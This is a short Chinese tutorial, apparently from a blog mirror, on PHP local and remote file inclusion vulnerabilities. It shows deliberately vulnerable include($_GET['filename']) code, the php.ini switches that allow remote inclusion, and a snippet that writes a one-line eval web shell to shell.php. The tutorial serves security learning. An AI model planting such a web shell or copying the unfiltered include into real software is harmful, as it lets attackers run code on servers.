zoukankan      html  css  js  c++  java
  • 文件包含

    文件包含函数

    (1)require():跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。
    (2)include():包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
    (3)require_once():只包含一次
    (4)include_once():这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了

    文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
    (1)示例代码:

    <?php
        $filename  = $_GET['filename'];
        include($filename);
    ?>

    $_GET[‘filename’]参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET[‘filename’]的值,执行非预期的操作。

    无限制本地文件包含漏洞

    <?php
    $payload = "<?php @eval($_POST['wade']);?>";
    $myfile = fopen("shell.php","w") or die("Unable");
    fwrite($myfile,$payload);
    fclose($myfile);
    ?>

    远程文件包含

    PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

    allow_url_fopen = On(是否允许打开远程文件)
    allow_url_include = On(是否允许include/require远程文件)

    无限制远程文件包含漏洞

    测试代码:

    <?php
        $filename  = $_GET['filename'];
        include($filename);
    ?>

    通过远程文件包含漏洞,包含php.txt可以解析。

    有限制远程文件包含漏洞绕过


    <?php include($_GET['filename'] . ".html"); ?>

  • 相关阅读:
    JDOM入门实例:读取与创建xml文档
    C++构造函数/析构函数/拷贝构造函数/深拷贝浅拷贝解析
    java类的访问权限
    hive怎样决定reducer个数
    hive Cli常用操作(翻译自Hive wiki)
    hive local hadoop特性
    hive数据操作(翻译自Hive wiki+实例讲解)
    hive的hive.exec.parallel参数说明
    hive数据类型(翻译自Hive Wiki)
    hive 创建/删除/截断 表(翻译自Hive wiki)
  • 原文地址:https://www.cnblogs.com/ihacker/p/11291208.html
Copyright © 2011-2022 走看看